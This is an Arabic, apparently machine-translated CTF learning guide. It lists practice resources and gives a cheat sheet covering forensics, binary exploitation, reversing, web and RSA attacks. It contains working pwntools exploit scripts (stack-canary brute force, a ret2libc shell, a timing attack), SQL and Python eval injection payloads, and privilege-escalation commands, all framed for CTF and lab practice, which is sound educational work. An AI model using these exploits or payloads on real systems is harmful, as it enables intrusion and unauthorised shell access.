دليل الماجستير لتعلم الأمن
عمليات الكتابة/الملفات الخاصة ببعض CTFs السيبرانية التي قمت بها
لقد قمت أيضًا بتضمين قائمة بموارد CTF بالإضافة إلى ورقة غش شاملة تغطي الكثير من تحديات CTF الشائعة
ملحوظة
توجد الآن مرآة ويب لهذا الريبو على hackback.zip
جدول المحتويات
موارد
- يوتيوب (نحن نحب موارد الفيديو)
- مواقع الممارسة / التعلم
- صناديق الاستثمار المتداولة
- عام
- بيون
- القس
- ويب
- تشفير
- العقود الذكية
- سحاب
- الاختراق
ورقة الغش الخاصة بـ CTF
- الطب الشرعي / إخفاء المعلومات
- عام
- صوتي
- صورة
- فيديو
- صورة الآلة
- بي كاب
- Pwn / الاستغلال الثنائي
- عام
- تجاوز سعة المخزن المؤقت
- PIE (التنفيذ الموضعي المستقل)
- NX (غير قابل للتنفيذ)
- ROP (للثنائيات المترجمة بشكل ثابت)
- ستاك كناري
- تنسيق سلسلة نقاط الضعف
- كود القشرة
- العودة إلى ليبك
- الهندسة العكسية
- حلول SMT
- عكس الشيكات بايت بايت
- البحث عن سلاسل مع gef
- ويب
- تشفير
- صندوق
- الاتصال
- تعداد
- تصعيد الامتيازات
- استمع للقذيفة العكسية
- قذيفة عكسية
- احصل على غلاف تفاعلي
- OSINT
- متنوعات
موارد
قنوات اليوتيوب
- جون هاموند
- تم استخدامه لإنشاء الكثير من مقاطع فيديو CTF، ولكنه انتقل إلى أشياء أخرى
- لا يزال هناك الكثير من مقاطع الفيديو المفيدة. تعد برامج CTF مذهلة بشكل خاص لتعليم الأشخاص الجدد في مجال الإنترنت.
- الفائض المباشر
- يصنع مقاطع فيديو مثيرة للاهتمام ومتعمقة للغاية حول الإنترنت.
- لديه سلسلة pwn مذهلة
- إيبسيك
- يقوم بعمل كتابات لكل جهاز HackTheBox
- يتحدث عن طرق مختلفة للحل ولماذا تعمل الأشياء. نوصي بشدة
- محب الكمبيوتر
- نفس الأشخاص مثل Numberphile، لكن أكثر روعة. يُنشئ مقاطع فيديو بديهية ومستوى المبتدئين حقًا حول المفاهيم الأساسية.
- pwn.college
- أستاذ جامعة ولاية أريزونا لديه الكثير من مقاطع الفيديو على pwn
- مواد الدورة الإرشادية: https://pwn.college/
- طن من مشاكل التدريب: https://dojo.pwn.college/
- وظيفة Pwn
- مقاطع فيديو رسوم متحركة عالية الجودة وسهلة الفهم حول مواضيع مختلفة
- المواضيع متقدمة بعض الشيء، ولكن من السهل فهمها
- مارتن كارلايل
- يُنشئ مقاطع فيديو كتابية مذهلة حول تحديات picoCTF.
- سام بون
- أستاذ CCSF الذي يفتح جميع محاضراته والمواد الدراسية على موقعه على الإنترنت
- UFSIT
- فريق UF Cyber (أنا متحيز بعض الشيء، ولكنني أختار إحدى أفضل القنوات على YouTube لهذا الغرض)
- جينفيل
- يجعل عمليات الكتابة على الفيديو بديهية بشكل مثير للدهشة. لقد قام بـ picoCTF 2019 بالكامل (وهذا كثير)
- بلاك هيلز لأمن المعلومات
- شركة أمنية تنتج عددًا كبيرًا من المحتوى التعليمي
- قم دائمًا بعمل دورات مجانية وبث عبر الإنترنت حول موضوعات الأمان
- com.stacksmashing
- مقاطع فيديو مذهلة للهندسة العكسية واختراق الأجهزة
- لديه سلسلة رائعة حقًا من أعماله المتعلقة بالهندسة العكسية لـ WannaCry
- بن جرينبيرج
- أستاذ GMU مع مجموعة من دروس الفيديو الخاصة بالـ pwn والبرامج الضارة
- قديمة بعض الشيء، ولكن لا تزال جيدة
- InfoSecLab في جورجيا للتكنولوجيا
- محاضرات متعمقة جيدة ومتقدمة على pwn
- يتطلب بعض المعرفة الخلفية
- ربيسيك
- اجتماعات فريق جامعة RPI
- متقدم جدًا ويفترض القليل من المعرفة الأساسية بعلوم الكمبيوتر
- مات براون
- المدمج في الأمن Pentester
- ينشئ مقاطع فيديو رائعة مناسبة للمبتدئين حول اختراق إنترنت الأشياء
محادثات
فيما يلي بعض الشرائح التي قمت بتجميعها: hackback.zip/presentations
مواقع الممارسة / التعلم
صناديق الاستثمار المتداولة
- بيكوCTF
- طن من التحديات الممارسة مذهلة.
- بالتأكيد المعيار الذهبي للبدء
- يو سي إف
- جيدة بشكل عام، ولكن ممارسة pwn كبيرة
- أنا أعمل حاليا على وضع الكتابة هنا
- hacker101
- CTF، ولكن أكثر توجهاً قليلاً نحو الاختراق
- CSAW
- انخفض الوقت بنسبة 90% وعادةً لا تعمل أي من الاتصالات
- إذا كان الأمر كذلك، فهو يحتوي على الكثير من التحديات التمهيدية الجيدة
- CTF101
- واحدة من أفضل مقدمات CTF التي رأيتها (GJ osiris)
- موجزة للغاية وصديقة للمبتدئين
عام
- HackTheBox
- موقع OG box
- يتم تنسيق الصناديق لضمان الجودة
- الآن لديه بعض المشاكل على غرار CTF
- الآن لديه دورات لبدء التعلم
- حاولHackMe
- صناديق أسهل قليلاً من HackTheBox
- تحديات خطوة بخطوة
- يوجد الآن "مسارات تعليمية" لإرشادك خلال المواضيع
- CybersecLabs
- مجموعة كبيرة من الصناديق
- لديه بعض الاشياء CTF
- VulnHub
- لديه أجهزة افتراضية ضعيفة يجب عليك نشرها بنفسك
- الكثير من التنوع، ولكن من الصعب العثور على الأشياء الجيدة
بيون
- pwnable.kr
- التحديات مع مجموعة جيدة من الصعوبة
- pwnable.tw
- أصعب من pwnable.kr
- لديه كتابات بمجرد حل التحدي
- pwnable.xyz
- المزيد من التحديات pwn
- لديه كتابات بمجرد حل التحدي
- يمكنك تحميل التحديات الخاصة بك بمجرد حلها جميعًا
- pwn دوجو
- أفضل مجموعة من تحديات pwn في رأيي
- مدعومة بشرائح تعلم كيفية القيام بذلك ولديها خلاف إذا كنت بحاجة إلى مساعدة
- كابوس
- المعيار الذهبي لpwning ثنائيات C
- يحتوي على بعض الأخطاء/الأخطاء المطبعية، لكنه مذهل بشكل عام
- ملاحظات بيون
- ملاحظات من شخص عشوائي عبر الإنترنت
- مستوى سطحي جدًا، ولكنه مقدمة جيدة لكل شيء
- المدرسة الصيفية الأمنية
- دورة الأمن بجامعة بوخارست
- تفسيرات ودية للغاية للمبتدئين
- ريبيسيك إم بي إي
- دورة الاستغلال الثنائي الحديث لـ RPI
- يحتوي على عدد لا بأس به من المعامل/المشاريع للممارسة وبعض المحاضرات (المؤرخة قليلاً).
- how2heap
- سلسلة استغلال الكومة من صنع فريق CTF التابع لجامعة ولاية أريزونا
- يتضمن ميزة مصحح أخطاء رائعة جدًا لإظهار كيفية عمل عمليات الاستغلال
- ROPemporium
- مجموعة من التحديات في كل هندسة معمارية رئيسية تدرس البرمجة الموجهة نحو العودة
- جودة عالية جداً. يعلم أبسط التقنيات الأكثر تقدما.
- أقوم حاليًا بإضافة كتاباتي الخاصة هنا
- فينيكس استغلال التعليم
- طن من مشاكل الاستغلال الثنائية مرتبة حسب الصعوبة
- يتضمن المصدر ويأتي مع جهاز افتراضي يحتوي على كافة الثنائيات.
القس
- التحديات. إعادة
- تحديات كثيرة 0_0
- طن من التنوع
- عكس.kr
- crackmes.one
- طن من التحديات على غرار الكراكمي (CTF).
- ورش عمل البرمجيات الخبيثة يونيكورن
- ورش عمل مجانية حول الهندسة العكسية وتحليل البرامج الضارة
ويب
- websec.fr
- الكثير من تحديات الويب مع نطاق جيد من الصعوبة
- webhacking.kr
- لديه أرشيف للكثير من تحديات الويب الجيدة
- تأمين تطبيقات الويب
- محل عصيرات أواسب
- موجه جدًا نحو الاختراق، ولكنه مفيد لاستكشاف الويب في CTFs
- أكثر من 100 ثغرات/تحديات في المجموع
- بورتسويجر
- المعيار الذهبي لفهم اختراق الويب
- طن من التحديات والتفسيرات مذهلة
- DVWA
- موجه جدًا نحو الاختراق، ولكنه مفيد لاستكشاف الويب في CTFs
- bWAPP
- موجه جدًا نحو الاختراق، ولكنه مفيد لاستكشاف الويب في CTFs
- تحدي CTF
- مجموعة من تحديات الويب التي صممها آدم لانجلي والتي تم تصميمها لتكون واقعية قدر الإمكان.
- جيد للحصول على تجربة مكافأة الأخطاء
تشفير
- كريبتوهاك
- أنا أعمل حاليا على وضع الكتابة هنا
- cryptopals
- CTF
- التشفير السنوي CTF. السنوات السابقة يمكن الوصول إليها في
20{19,20,21,22,23,24}.cr.yp.toc.tf
.
العقود الذكية
سحاب
- CloudFoxable
- يرشدك خلال عملية إعداد بيئة معرضة للخطر ليتم استغلالها باستخدام cloudfox
- العيوب.سحابة
- تحديات مجانية تتضمن العثور على أسرار في S3 وEC2 وLambda
الاختراق
- hacker101
- hacksplaining
- استغلال التطوير
- مقدمة إلى الأمن
- دورة جامعة كاليفورنيا في سان دييغو يدرسها ديان ستيفان
- يغطي pwn الأساسية والتشفير
- ورقة الغش في Active Directory
- وادكومز
- ورقة الغش التفاعلية لبيئات Windows/AD
- لولوباس
- ورقة الغش التفاعلية لثنائيات Windows "العيش خارج الأرض" والبرامج النصية والمكتبات للاستغلال
- صناديق GTFOBins
- ورقة الغش التفاعلية لتقنيات Linux "العيش خارج الأرض".
ورقة الغش الخاصة بـ CTF
الطب الشرعي / إخفاء المعلومات
عام
- AperiSolve
- أداة تقوم تلقائيًا بتشغيل أدوات stego الأخرى
- مورد جيد حقًا من جون هاموند لأنواع مختلفة من التحديات:
- https://github.com/JohnHammond/ctf-katana
- ورقة غش أخرى رائعة جدًا لإنشاء التحديات وحلها:
- https://github.com/apsdehal/awesome-ctf/blob/master/README.md
- ملف
-
file <file.xyz>
- يحدد نوع الملف
- com.steghide
-
steghide extract -sf <file.xyz>
- يستخرج الملفات المضمنة
- com.stegseek
-
stegseek <file> <password list>
- استخراج الملفات المضمنة باستخدام قائمة الكلمات
- سوبر سوبر سريع
- binwalk
-
binwalk -M --dd=".*" <file.xyz>
- يستخرج الملفات المضمنة
- com.exiftool
-
exiftool <file.xyz>
- يقرأ البيانات الوصفية
- سلاسل
-
strings <file.xyz>
- يبحث عن كافة الأحرف القابلة للطباعة في ملف
- com.hexedit
-
hexedit <file.xyz>
- قد تضطر إلى تغيير توقيع الملف على بعض الصور حتى يتم فتحها
- قائمة توقيعات الملفات المشتركة
- Ghex (محرر سداسي عشري آخر ولكن مع واجهة المستخدم الرسومية. جيد إذا كنت بحاجة إلى الانتقال إلى بايت معين)
- ملفات docx عبارة عن حاويات بحيث يمكنك فك ضغطها للعثور على المحتوى المخفي
- Grep - طريقة جيدة لاستخدام grep للعثور على العلامة بشكل متكرر:
-
grep -r --text 'picoCTF{.*}'
-
egrep -r --text 'picoCTF{.*?}
- يمكنك تغيير "picoCTF" إلى بداية العلم الذي تبحث عنه
- Ltrace - يسمح لك برؤية ما يفعله الكود أثناء تشغيل البرنامج:
-
ltrace ./<file>
-
ltrace -s 100 ./<file>
- Ltrace يختصر السلاسل الطويلة جدًا. يمكنك استخدام -s لزيادة عدد الأحرف التي يعرضها التتبع. جيد عند النظر إلى strcmp التي تحتوي على سلاسل كبيرة.
صوتي
صوت جهاز الفاكس:
صوت SSTV (تلفزيون المسح البطيء) (أشياء القمر)
- مثال
- فك التشفير
- بديل فك التشفير
- استخدم إعدادات qsstv هذه:
صورة طيفية
تغيير الملعب والسرعة والاتجاه ...
مفاتيح الهاتف DTMF (تردد مزدوج متعدد النغمات).
-
multimon-ng -a DTMF -t wav <file.wav>
- نضع في اعتبارنا أن هذه يمكن أن لي رسائل النقر المتعدد.
- هذا يمكن فك الأرقام إلى نص
شريط كاسيت
- مثال
- وحدة فك الترميز (wav للنقر على الملفات)
كود مورس
صورة
فيديو
صورة الآلة
- استعادة الملفات
- يمكنك تحميل صورة كجهاز افتراضي
- https://habr.com/en/post/444940/
- تحميل ملف
.img
:-
binwalk -M --dd=".*" <fileName>
- قم بتشغيل
file
عند الإخراج وحدد ملف نظام ملفات Linux -
losetup /dev/loop<freeLoopNumber> <fileSystemFile>
بي كاب
- استخراج البيانات باستخدام tcpflow
- استخراج البيانات باستخدام wireshark
- ملف ← تصدير الكائنات ← إجراء التحديد
Pwn / الاستغلال الثنائي
- بالنسبة لهذا، أقترح الاطلاع على مستودع LearnPwn الخاص بي بدلاً من ذلك، حيث تم إنشاء ورقة الغش هذه قبل أن أعرف الكثير عن pwn
- ومع ذلك، فقد أدرجت بعض الملاحظات لتعديل ما لدي هنا.
عام
- تحقق من أمان ELF
-
checksec <binary>
-
rabin2 -I <binary>
- التحقق من سلامة PE
- فحص الأمان الثنائي
-
binary-security-check <bin>.exe
- تحقق من seccomp bpf
- seccomp-tools
-
seccomp-tools dump ./<binary>
- انظر إلى الرموز
- انظر إلى السلاسل
- عنوان الحزمة إلى بايت
- إنديان صغير (لمدة 32 بت)
-
python -c "import pwn; print(pwn.p32(<intAddr>))
- إنديان كبير (لـ 64 بت)
-
python -c "import pwn; print(pwn.p64(<intAddr>))
- يقوم pwntools تلقائيًا بتعبئة العناوين بالتوافق الصحيح لك
تجاوز سعة المخزن المؤقت
- إذا كنت بحاجة للحصول على shell /bin/sh وكنت متأكدًا من أنه يعمل ولكن البرنامج يخرج على أي حال، فاستخدم هذه الخدعة:
-
( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
- يقوم pwntools بهذا من خلال العملية الخاصة به
process.interactive()
PIE (التنفيذ الموضعي المستقل)
- تحديد قيمة عشوائية
-
pwn cyclic <numChars>
لإنشاء الحمولة -
dmesg | tail | grep segfault
لمعرفة مكان الخطأ -
pwn cyclic -l 0x<errorLocation>
لرؤية الإزاحة العشوائية للتحكم في مؤشر التعليمات - مثال
NX (غير قابل للتنفيذ)
- يمكننا استخدام ROP (البرمجة الموجهة نحو العودة) لحل هذه المشكلة
ROP (للثنائيات المترجمة بشكل ثابت)
- ROPGadget
- عرض الأدوات الذكية وإنشاء سلاسل سلاسل القيمة تلقائيًا
-
ROPgadget --ropchain --binary <binary>
- يمكنك بعد ذلك إضافة حشوة في بداية الكود (استنادًا إلى الفرق بين المخزن المؤقت وعنوان الإرجاع) وتشغيل الكود للحصول على الصدفة
- تجريبي
- ropr
ستاك كناري
العثور على الكناري المكدس في مصحح الأخطاء
- Stack Canary هي قيمة يتم وضعها قبل EIP/RIP (مؤشر التعليمات) والتي يمكن الكتابة فوقها بواسطة تجاوز سعة المخزن المؤقت. يتسبب البرنامج في حدوث خطأ بشكل أساسي إذا تمت الكتابة فوق المكدس إلى شيء مختلف عما كان عليه في الأصل. هدفنا هو العثور على المكدس الأصلي، لذلك عندما نتجاوز، يعمل البرنامج بشكل طبيعي.
- المكدس الكناري مأخوذ من
gs
أو fs
(للإصدارين 32 و64 بت على التوالي)- في التفكيك، قبل قراءة شيء ما، يمكنك رؤية سطر مشابه لما يلي:
0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
- هنا، يتم نقل المكدس الكناري إلى
rax
عند الإزاحة +8.- وبالتالي، قم بالاستراحة عند الإزاحة التالية وتحقق مما يوجد في rax (
ir rax
) لمعرفة ما هو الكناري الحالي
جزر الكناري الساكنة
- يكون الكناري ثابتًا فقط إذا تم تنفيذه يدويًا بواسطة المبرمج (وهذا هو الحال في بعض تحديات pwn التمهيدية)، أو إذا كنت قادرًا على تفرع البرنامج.
- عندما تقوم بتقسيم الملف الثنائي، فإن الملف المتشعب لديه نفس طائر الكناري، لذا يمكنك إجراء عملية وحشية بايت بايت على ذلك
إضافي
عندما تتم الكتابة فوق مكدس الكناري بشكل غير صحيح، سيؤدي ذلك إلى استدعاء __stack_chk_fail
- إذا لم نتمكن من تسريب الكناري، فيمكننا أيضًا تعديل جدول GOT لمنع استدعائه
يتم تخزين الكناري في بنية TLS
للمكدس الحالي وتتم تهيئته بواسطة security_init
- إذا كان بإمكانك استبدال قيمة الكناري الحقيقية، فيمكنك تعيينها مساوية لما تقرر تجاوزه.
برنامج نصي بسيط لتحفيز كناري ثابت بحجم 4 بايت:
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF ( './vuln' )
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range ( 1 , 5 ):
for letter in range ( 0 , len ( alphabet )): # We will go through each letter/number in the string 'alphabet'
p = elf . process () # We start the process
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( str ( 32 + i )) # In this program, we had to specify how many bytes we were gonna send.
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( 'A' * 32 + canary + alphabet [ letter ]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p . recv (). decode ( 'utf-8' )
if "Stack" not in prompt : # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet [ letter ] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print ( "The canary is: " + canary )
تنسيق سلسلة نقاط الضعف
- انظر إلى الجدول 2 لمعرفة ما يمكنك تجربته إذا رأيت "printf(buf)" أو شيء من هذا القبيل:
- https://owasp.org/www-community/attacks/Format_string_attack
- نوصي بشدة بالنظر إلى جون هاموند وهو يقوم بتحدي "echooo" من picoCTF 2018
- في بعض الأحيان، قد تؤدي محاولة طباعة سلاسل فقط من المكدس مثل هذا: '%s %s %s %s %s %s' إلى حدوث أخطاء نظرًا لأنه ليس كل شيء في المكدس عبارة عن سلسلة.
- حاول تقليل ذلك عن طريق إجراء '%x %x %x %x %x %s' بدلاً من ذلك
- بدلاً من الاضطرار إلى زيادة عدد %x و%s التي تكتبها باستمرار، يمكنك تمرير معلمة لتسهيل الأمر:
-
%1$s
- سيؤدي هذا إلى طباعة القيمة الأولى في المكدس (على ما أفهم، القيمة الموجودة بجوار المخزن المؤقت الخاص بك) كسلسلة. -
%2$s
- سيؤدي هذا إلى طباعة القيمة الثانية كسلسلة، وستحصل على الفكرة - يمكنك استخدام حلقات ذات سطر واحد لمحاولة العثور على العلم عن طريق تسريب المكدس. اضغط على ^C (CTRL + C) للانتقال إلى القيمة التالية.
-
for i in {1..100}; do echo "%$i$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
- يمكنك التحكم في مقدار التسرب باستخدام معلمات حجم مختلفة:
-
%hhx
يتسرب 1 بايت (نصف نصف حجم int) -
%hx
يتسرب بمقدار 2 بايت (نصف حجم int) -
%x
يتسرب 4 بايت (حجم int) -
%lx
يتسرب 8 بايت (حجم طويل)
- فيديو جيد جدًا عن تعديل المكدس باستخدام fstring vuln و%n:
- https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
كود القشرة
- موقع جيد للعثور على كود القشرة المختلفة:
- http://shell-storm.org/shellcode/
العودة إلى ليبك
سنقوم بالكتابة فوق EIP لاستدعاء وظيفة مكتبة النظام () وسنقوم أيضًا بتمرير ما يجب تنفيذه، في هذا المثال مخزن مؤقت بـ "/bin/sh"
شرح جيد:
- https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
مثال جيد (انتقل إلى 3:22:44):
- https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
- https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
الحصول على عنوان execve("/bin/sh")
إذا كنت تعرف بالفعل ملف libc وموقعه (على سبيل المثال، لا يتعين عليك تسريبهما...)
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os . popen ( f'ldd { binaryName } ' ). read (). split ( ' n ' )[ 1 ]. strip (). split ()[ 2 ]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [ int ( i . split ()[ 0 ], 16 ) for i in os . popen ( f'one_gadget { libc_loc } ' ). read (). split ( " n " ) if "execve" in i ]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out [ 1 ]
p = process ( f'./ { binaryName } ' )
e = ELF ( f'./ { binaryName } ' )
l = ELF ( libc_loc )
# get the address of printf from the binary output
printf_loc = int ( p . recvuntil ( ' n ' ). rstrip (), 16 )
# get the address of printf from libc
printf_libc = l . sym [ 'printf' ]
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A" * offset
payload += p64 ( libc_base_address + libc_execve_address )
# send the payload
p . sendline ( payload )
# enter in interactive so we can use the shell created from our execve payload
p . interactive ()
الهندسة العكسية
دليل رائع: https://opensource.com/article/20/4/linux-binary-analogy
- غيدرا
- برنامج فك التشفير مفيد جدا
- dotPeek أو dnSpy
- فك الملفات التنفيذية .NET
- Jadx وjadx-gui
- com.devtoolzone
- زهرة اللحاف
- برنامج فك تشفير جافا المتقدم القائم على المحطة الطرفية
- apktool
- gdb
- التحليل الثنائي
- بيدا (امتداد لزيادة الوظائف)
- gef (امتداد gdb لمستخدمي pwners)
- رادار2
- الخيط
-
strings
على المنشطات. يستخدم التحليل الثابت للعثور على السلاسل وحسابها
حلول SMT
عكس عمليات التحقق من البايتة البايتة (هجوم القناة الجانبية)
https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
- إليك الإصدار الذي قمت بإنشائه للتحدي الذي يستخدم الهجوم المستند إلى الوقت:
- قد تضطر إلى تشغيله عدة مرات فقط لمراعاة العشوائية
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context . log_level = 'error'
s = ''
print ( "*" * keyLen )
for chars in range ( keyLen ):
a = []
for i in string . printable :
p = process ( f'perf stat -x, -e cpu-clock ./ { binaryName } ' . split ())
p . readline ()
currPass = s + i + '0' * ( keyLen - chars - 1 )
# print(currPass)
p . sendline ( currPass . encode ())
p . readline ()
p . readline ()
p . readline ()
info = p . readall (). split ( b',' )[ 0 ]
p . close ()
try :
a . append (( float ( info ), i ))
except :
pass
# print(float(info), i)
a . sort ( key = lambda x : x [ 0 ])
s += str ( a [ - 1 ][ 1 ])
print ( s + "*" * ( keyLen - len ( s )))
# print(sorted(a, key = lambda x: x[0]))
p = process ( f'./ { binaryName } ' )
p . sendline ( s . encode ())
p . interactive ()
البحث عن سلاسل مع gef
- إذا كانت علامتك تتم قراءتها في متغير أو تسجيلها في أي وقت، فيمكنك الانفصال بعد نقلها وتشغيل
grep <string>
وسيظهر لك gef تلقائيًا السلسلة التي تطابق نمط البحث الخاص بك
ويب
- نيكتو (إذا سمح)
- يبحث تلقائيا عن نقاط الضعف
- gobuster (إذا سمح)
- القوة الغاشمة الدلائل والملفات
- هيدرا (إذا سمح)
- القوة الغاشمة لتسجيل الدخول لمختلف الخدمات
- BurpSuite
- يعترض طلبات الويب ويسمح لك بتعديلها
- وايرشارك
- تحليل حركة مرور الشبكة الحية وملفات PCAP
- PHP العكسي
- مفيد للمواقع التي تسمح لك بتحميل الملفات
- يجب تنفيذ هذا الملف على الخادم حتى يعمل
- WPScan
- مسح مواقع ووردبريس
- استخدم
wpscan --url <site> --plugins-detection mixed -e
مع مفتاح API للحصول على أفضل النتائج
- jwt
- يمكنك تحديد رمز JWT المميز نظرًا لأن json المشفر بـ base64 (وبالتالي رموز jwt المميزة) يبدأ بـ "ey"
- سيقوم هذا الموقع بفك تشفير رموز الويب JSON
- يمكنك كشف سر رمز الويب JSON المميز لتعديل الرموز المميزة الخاصة بك وتوقيعها
-
echo <token> > jwt.txt
-
john jwt.txt
- حقن SQL
- com.sqlmap
-
sqlmap --forms --dump-all -u <url>
- أتمتة عملية حقن SQL
- حقن SQL الأساسي
- أدخل
'OR 1=1--
في نموذج تسجيل الدخول - سيتم تقييم هذا على الخادم إلى
SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
- يتم تقييم
1=1
إلى true، وهو ما يفي بعبارة OR
، ويتم التعليق على بقية الاستعلام بواسطة --
- PayloadsAllTheThings
- مورد رائع لاستغلال الويب مع الكثير من الحمولات
- حقن القالب
- com.tplmap
- الحقن الآلي للقالب من جانب الخادم
- حقنة جينجا
- حقن القارورة
- وظيفة بايثون إيفال ().
-
__import__.('subprocess').getoutput('<command>')
- تأكد من تبديل الأقواس إذا لم ينجح الأمر
-
__import__.('subprocess').getoutput('ls').split('\n')
- المزيد من حقن الثعبان
- البرمجة النصية للمواقع المتقاطعة
- مقيم CSP
- مُقيِّم سياسة أمان المحتوى في Google
تشويش حقول الإدخال
- ففوف
- انسخ الطلب إلى حقل الإدخال واستبدل المعلمة بـ "FUZZ":
-
ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
- استخدم
-fs
لتصفية الأحجام
تشفير
الشيف السيبراني
- الشيف السيبراني
- ينفذ عمليات التشفير المختلفة
كاشف الشفرات
التجزئة
- حاشد
- أداة سطر الأوامر للكشف عن نوع التجزئة
الأصفار المشتركة
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open ( cipherText ) as fin :
cipher = fin . readline (). rstrip ()
with open ( plainText ) as fin :
plain = fin . readline (). rstrip ()
with open ( flagCipherText ) as fin :
flag = fin . readline (). rstrip ()
with open ( tableFile ) as fin :
table = [ i . rstrip (). split () for i in fin . readlines ()]
table [ 0 ]. insert ( 0 , "" ) # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i , c in enumerate ( plain [ 0 : 100 ]):
col = table [ 0 ]. index ( c )
for row in range ( len ( table )):
if table [ row ][ col ] == cipher [ i ]:
key += table [ row ][ 0 ]
break
print ( key )
dec_flag = ""
for i , c in enumerate ( flag [: - 1 ]):
col = table [ 0 ]. index ( key [ i ])
for row in range ( len ( table )):
if table [ row ][ col ] == flag [ i ]:
dec_flag += table [ row ][ 0 ]
break
print ( dec_flag )
- التشفير البديل
- تعفن13
- مفاتيح تشفير قيصر
آر إس إيه
احصل على معلومات RSA باستخدام pycryptodome
from Crypto . PublicKey import RSA
keyName = "example.pem"
with open ( keyName , 'r' ) as f :
key = RSA . import_key ( f . read ())
print ( key )
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print ( key . p )
print ( key . q )
print ( key . n )
print ( key . e )
print ( key . d )
print ( key . u )
# public keys have n and e
نظرية الباقي الصينية (p,q,e,c)
def egcd ( a , b ):
if a == 0 :
return ( b , 0 , 1 )
g , y , x = egcd ( b % a , a )
return ( g , x - ( b // a ) * y , y )
def modinv ( a , m ):
g , x , y = egcd ( a , m )
if g != 1 :
raise Exception ( 'No modular inverse' )
return x % m
p =
q =
e =
c =
n = p * q # use factordb command or website to find factors
phi = ( p - 1 ) * ( q - 1 ) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv ( e , phi ) # private key
# print(d)
m = pow ( c , d , n ) # decrypted plaintext message in long integer form
thing = hex ( m )[ 2 :] # ascii without extra stuff at the start (0x)
print ( bytes . fromhex ( thing ). decode ( 'ascii' ))
#!/bin/python3
from Crypto . Util . number import *
from factordb . factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB ( n )
f . connect ()
factors = f . get_factor_list ()
phi = 1
for i in factors :
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
- موقع ويب يعطي العوامل ونسبة أويلر (phi)
- https://www.alpertron.com.ar/ECM.HTM
هجوم النحاسيين (ج،ه)
- يستخدم عادةً إذا كان الأس صغيرًا جدًا (e <= 5)
from Crypto . Util . number import *
def nth_root ( radicand , index ):
lo = 1
hi = radicand
while hi - lo > 1 :
mid = ( lo + hi ) // 2
if mid ** index > radicand :
hi = mid
else :
lo = mid
if lo ** index == radicand :
return lo
elif hi ** index == radicand :
return hi
else :
return - 1
c =
e =
plaintext = long_to_bytes ( nth_root ( c , e ))
print ( plaintext . decode ( "UTF-8" ))
هجوم بولاردز (ن،ه،ج)
- استنادًا إلى طريقة تحليل بولارد، التي تجعل من السهل تحليل منتجات الأعداد الأولية إذا كانت (ب) سلسة
- هذا هو الحال إذا كان
p-1 | B!
و q - 1
له عامل > B
from Crypto . Util . number import *
from math import gcd
n =
c =
e =
def pollard ( n ):
a = 2
b = 2
while True :
a = pow ( a , b , n )
d = gcd ( a - 1 , n )
if 1 < d < n :
return d
b += 1
p = pollard ( n )
q = n // p
phi = 1
for i in [ p , q ]:
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
هجوم وينر (ن،ه،ج)
- للاستخدام عندما يكون d صغيرًا جدًا (أو يكون e كبيرًا جدًا)
- باستخدام وحدة بايثون هذه
- دليل
from Crypto . Util . number import *
import owiener
n =
e =
c =
d = owiener . attack ( e , n )
m = pow ( c , d , n )
flag = long_to_bytes ( m )
print ( flag )
Base16، 32، 36، 58، 64، 85، 91، 92
https://github.com/mufeedvh/basecrack
صندوق
الاتصال
- سش
-
ssh <username>@<ip>
-
ssh <username>@<ip> -i <private key file>
- قم بتثبيت SSH كنظام ملفات محليًا:
-
sshfs -p <port> <user>@<ip>: <mount_directory>
- المضيفين المعروفين
-
ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>
- netcat
تعداد
تصعيد الامتيازات
- linpeas
-
./linpeas.sh
- يبحث تلقائيًا عن متجهات تصعيد الامتيازات
- قائمة الأوامر التي يمكننا تشغيلها كجذر
- ابحث عن الملفات بإذن SUID
-
find / -perm -u=s -type f 2>/dev/null
- يتم تنفيذ هذه الملفات بامتيازات المالك بدلاً من قيام المستخدم بتنفيذها
- البحث عن أذونات لجميع الخدمات
-
accesschk.exe -uwcqv *
